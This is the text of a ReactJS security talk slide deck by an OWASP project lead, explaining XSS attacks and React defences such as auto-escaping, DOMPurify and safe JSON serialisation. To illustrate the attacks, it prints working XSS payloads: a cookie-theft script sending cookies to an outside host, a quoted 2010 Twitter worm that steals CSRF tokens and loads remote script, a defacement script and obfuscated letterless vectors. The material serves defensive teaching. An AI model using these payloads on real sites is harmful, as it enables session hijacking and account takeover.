ReactJS Security Overview & XSS Attacks | Jim Manicode | Java Champion

1. ReactJS Security

2. A little background dirt… • jim@manicode.com • @Manicode • Java Champion • Project manager of theOWASP Cheat Sheet Series andseveral other OWASP projects • 20+ years of softwaredevelopment experience • Author of "Iron-Clad Java,Building Secure Web Applications”from McGraw-Hill/Oracle-Press • Former Kauai, Hawaii Resident

3. WARNING: Please do not attempt to hack anycomputer system without legal permission to do so.Unauthorized computer hacking is illegal and canbe punishable by a range of penalties includingloss of job, monetary fines and possible imprisonment. ALSO: The Free and Open Source Software presented in these materials are examples of good secure development techniques. You may have unknown legal, licensing or technical issues when making use of Free and Open Source Software. You should consult your company's policy on the use of Free and Open Source Software before making use of any software referenced in this material.

4. What is XSS?

5. Reflected XSS 1 • Cookie is stolen. Hacker can hijack the Victim’s session. • Hacker sends link to victim. Link contains XSS payload. 4 2 • Victim views page via XSS link supplied by Hacker. 3 • XSS code executes on Victim’s browser and sends cookieto evil server.

6. Persistent/Stored XSS 4 1 2 3

7. X X X X X X X XSS Attack Payloads O O O O O O

8. XSS Attack: Cookie Theft <script> varbadURL='https://manicode.com?data=' + uriEncode(document.cookie); new Image().src = badURL; </script> HTTPOnly could prevent this!

9. Stored XSS: Same Site Request Forgery var ajaxConn = new XHConn(); ajaxConn.connect("https://corp.cooollwebmailsystem.com?dest=boss@work.us&subj=YouAreAJerk","GET"); HTTPOnly nor SameSite nor Token Binding cookies would prevent this!

10. XSS Undermining CSRF Defense (Twitter 2010) • var content = document.documentElement.innerHTML; • authreg = new RegExp(/twttr.form_authenticity_token = '(.*)';/g); • varauthtoken = authreg.exec(content);authtoken = authtoken[1]; • //alert(authtoken); • varxss = urlencode('http://www.stalkdaily.com"></a><script src="http://mikeyylolz.uuuq.com/x.js"></script><a '); • varajaxConn = new XHConn();ajaxConn.connect("/status/update","POST", • "authenticity_token=" + authtoken+"&status=" + updateEncode + "&tab=home&update=update"); • var ajaxConn1 = new XHConn(); • ajaxConn1.connect("/account/settings", "POST", "authenticity_token="+ authtoken+"&user[url]="+xss+"&tab=home&update=update");

11. XSS Attack: Virtual Site Defacement • <script> • varbadteam = "The Trailblazers"; • varawesometeam = "Any other team "; • var data = ""; • for (vari = 0; i < 100; i++) { • data += "<marquee><b>"; • for (var y = 0; y < 8; y++) { • if (Math.random() > .6) { • data += badteam ; • data += " shoot worse than my mom! "; • } else { • data += awesometeam; • data += " is obviously totally awesome!&nbsp;"; • } • } • data += "</h1></marquee>";} • document.body.innerHTML=(data + ""); • </script>

13. XSS Attack: Password Theft/Stored Phishing

14. XSS With No Letters!https://inventropy.us/blog/constructing-an-xss-vector-using-no-letters • ""[(!1+"")[3]+(!0+"")[2]+(''+{})[2]][(''+{})[5]+(''+{})[1]+((""[(!1+"")[3]+(!0+"")[2]+(''+{})[2]])+"")[2]+(!1+'')[3]+(!0+'')[0]+(!0+'')[1]+(!0+'')[2]+(''+{})[5]+(!0+'')[0]+(''+{})[1]+(!0+'')[1]](((!1+"")[1]+(!1+"")[2]+(!0+"")[3]+(!0+"")[1]+(!0+"")[0])+"(3)")()

15. alert(1) With No Letters or Numbers!https://www.jsf**k.com/ • [][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])()

16. polyglot XSS for any UI location

17. show login then rewrite all forms to evil.com

18. mine fake money

19. keylogger

20. React Component Attack Surface

21. Threats Against React

22. What does it take to build secure React apps? • Validation • Sanitization • Escaping

23. React developers who have learned to master this material are UI Heroes

24. Protecting React FromContent Injection Attacks

25. Auto Escaping (JSX)

26. Auto Escaping with JSX The third argument to React.createElement will auto-escape!

27. Dangerous React

28. Bypassing Auto Escaping (JSX) varlinkToUser = "http://www.facebook.com/example" <a href={linktoUser}>Visit User’s Facebook Page</a> "javascript:alert('xss')";

29. props, Auto Escaping with JSX payload is not escaped!

30. Safe untrusted URL handling in React.js

31. Server-side URL Validation in Java

32. Attacker controlled CSS CSS Keystroke Logger

33. Defending against attacker controlled CSS CSS.escape

34. Raw HTML

35. What is HTML sanitation? • HTML sanitization takes markup as input, outputs "safe" markup • Different from encoding • URLEncoding, HTMLEncoding, will not help you here! • HTML sanitization is everywhere Web Forum Posts w/Markup Advertisements Outlook.com JavaScript-based Windows 8 Store Apps TinyMCE/CKEditor Widgets

36. This example displays all plugins and buttons that come with the TinyMCE package. Source output from post

37. Rendering User-Driven HTML Example Auto-Escaping bypass • Auto-escaped raw HTML just looks like HTML on screen • dangerouslySetInnerHTML disables autoescaping (which is dangerous) • Consider sanitizing untrusted HTML

38. Use DOMPurify to Sanitize Untrusted HTMLClient Side Sanitization • https://github.com/cure53/DOMPurify • DOMPurify is a DOM-only, super-fast, uber-tolerant XSS sanitizer for HTML, MathML and SVG. • DOMPurify works with a secure default, but offers a lot of configurability and hooks. • Very simply to use • Demo:https://cure53.de/purify • <div dangerouslySetInnerHTML={{__html: DOMPurify.sanitize(“<script>alert(‘xss!’);</script>“)}} />

39. DOMPurify.sanitize BAD <div dangerouslySetInnerHTML={{__html: "<script>alert('xss!');</script>}"} />
 GOOD <div dangerouslySetInnerHTML={{__html: DOMPurify.sanitize("<script>alert('xss!');</script>")}} />

40. Safe JSON Handling

41. Pre-Fetching Data to Render in ReactJS • A popular performance pattern is to embed preload JSON to save a round trip. • window.__INITIAL_STATE__ • window.__PRELOADED_STATE__ • JSON.stringify(state) is commonly cited in documents as the answer. • DON'T DO THIS! IT WILL LEAD TO XSS!

42. Dangerously Pre-Fetching Data in React <script> window.__INITIAL_STATE = <%= JSON.stringify(initialState) %> </script> If the initialState object contains any string with </script> in it, that will escape out of your script tag and start appending everything after it as HTML code. <script>{{</script><script>alert(‘XSS’)}}</script>

43. Pre-Fetching Data to Render in ReactJS Safely Serialize embedded JSON with a safe serialization engine Node: https://github.com/yahoo/serialize-javascript Example:
 <script>window.__INITIAL_STATE = <%= serialize(initialState) %></script>

44. https://github.com/yahoo/serialize-javascript • Serialized code to a string of literal JavaScript which can be embedded in an HTML document by adding it as the contents of the <script> element. • serialize({ haxorXSS: '</script>' }); • The above will produce the following string, HTML-escaped output which is safe to put into an HTML document: • '{"haxorXSS":"\\u003C\\u002Fscript\\u003E"}

45. React 3rd Party Components

47. Third Party ReactJS Components • Third party components typically do not come with any security guarantee • Always do a security audit of third party components before putting them into your application • Just because a component has lots of stars on GitHub doesn’t mean anyone has done a proper security audit • Use automation to verify JS and other dependencies are updated and not vulnerable

48. JavaScript 3rd Party Management Tools • Retire.js (JavaScript 3rd party library analysis) • https://retirejs.github.io/retire.js/ • Scan your project for vulnerabilites • https://docs.npmjs.com/cli/audit • NodeSource Trusted Modules • https://nodesource.com/products/certified-modules

49. ReactJS Versions

50. React prior to v0.14 • All applications should endeavor to use the latest version of React. • There was a flaw in all of the React versions prior to 0.14 that left applications opened to a XSS vulnerability under certain circumstances. • If there is a reason why you can't upgrade to 0.14, you can still manually protect yourself from this vulnerability.